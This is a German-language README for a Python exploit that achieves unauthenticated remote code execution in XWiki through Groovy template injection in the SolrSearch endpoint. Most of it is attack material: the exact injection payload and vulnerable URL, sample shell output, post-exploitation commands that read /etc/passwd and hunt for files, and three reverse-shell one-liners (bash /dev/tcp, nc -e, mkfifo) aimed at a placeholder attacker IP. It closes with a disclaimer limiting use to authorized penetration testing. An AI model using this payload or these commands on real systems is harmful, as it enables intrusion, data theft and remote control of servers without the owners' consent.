
Nicht authentifizierte Remotecodeausführung in XWiki über das SolrSearch-Makro
Ein Python-Exploit für die XWiki-Schwachstelle Server-Side Template Injection (SSTI) über Groovy-Template-Injection im SolrSearch-Endpunkt.
pip3 install requests beautifulsoup4
./xwiki_exploit.py -u http://target --test
./xwiki_exploit.py -u http://target.com -c "whoami"
./xwiki_exploit.py -u http://target.com -c "id"
./xwiki_exploit.py -u http://target.com -c "ls -la /tmp"
./xwiki_exploit.py -u http://target.com
Du erhältst eine interaktive Pseudo-Shell, in der du Befehle ausführen kannst:
xwiki> whoami
xwiki
xwiki> pwd
/usr/lib/xwiki-jetty
xwiki> ls /home
oliver
xwiki> exit
./xwiki_exploit.py -u http://target.com -c "id" --debug
-u, --url URL: Ziel-URL (erforderlich)-c, --command CMD: Einzelnen Befehl ausführen--test: Prüfen, ob das Ziel verwundbar ist--no-verify-ssl: SSL-Zertifikatsprüfung deaktivieren--debug: Debug-Ausgabe aktivierenInformationssammlung:
./xwiki_exploit.py -u http://target.com -c "uname -a"
./xwiki_exploit.py -u http://target.com -c "cat /etc/os-release"
./xwiki_exploit.py -u http://target.com -c "cat /etc/passwd"
Interessante Dateien finden:
./xwiki_exploit.py -u http://target.com -c "find /home -type f -readable 2>/dev/null"
./xwiki_exploit.py -u http://target.com -c "ls -la /var/lib/xwiki"
Netzwerkinformationen:
./xwiki_exploit.py -u http://target.com -c "ip addr"
./xwiki_exploit.py -u http://target.com -c "netstat -tulpn"
Reverse Shell herstellen:
# On attacker machine, start listener:
nc -lvnp 1337
# From exploit (try different methods):
./xwiki_exploit.py -u http://target.com -c "bash -c 'bash -i >& /dev/tcp/IP/1337 0>&1'"
./xwiki_exploit.py -u http://target.com -c "nc -e /bin/sh IP 1337"
./xwiki_exploit.py -u http://target.com -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 1337 >/tmp/f"
Der Exploit verwendet die folgende SSTI-Payload-Struktur:
}}}{{async async=false}}{{groovy}}println("COMMAND".execute().text){{/groovy}}{{/async}}
Der Payload wird URL-kodiert und an den verwundbaren Endpunkt gesendet:
/xwiki/bin/view/Main/SolrSearch?media=rss&text=[PAYLOAD]
Der Server verarbeitet das Groovy-Template und führt den Befehl aus.
Die Ausgabe wird aus der RSS-Feed-Antwort in folgendem Format erfasst:
search on [}}OUTPUT]
Der Exploit parst die HTML-Antwort, um die Befehlsausgabe zu extrahieren.
xwiki ausgeführt (uid=997)/usr/lib/xwiki-jettyDieses Tool ist ausschließlich für Bildungszwecke und autorisierte Penetrationstests bestimmt. Verwende es nur auf Systemen, für die du eine Testberechtigung hast.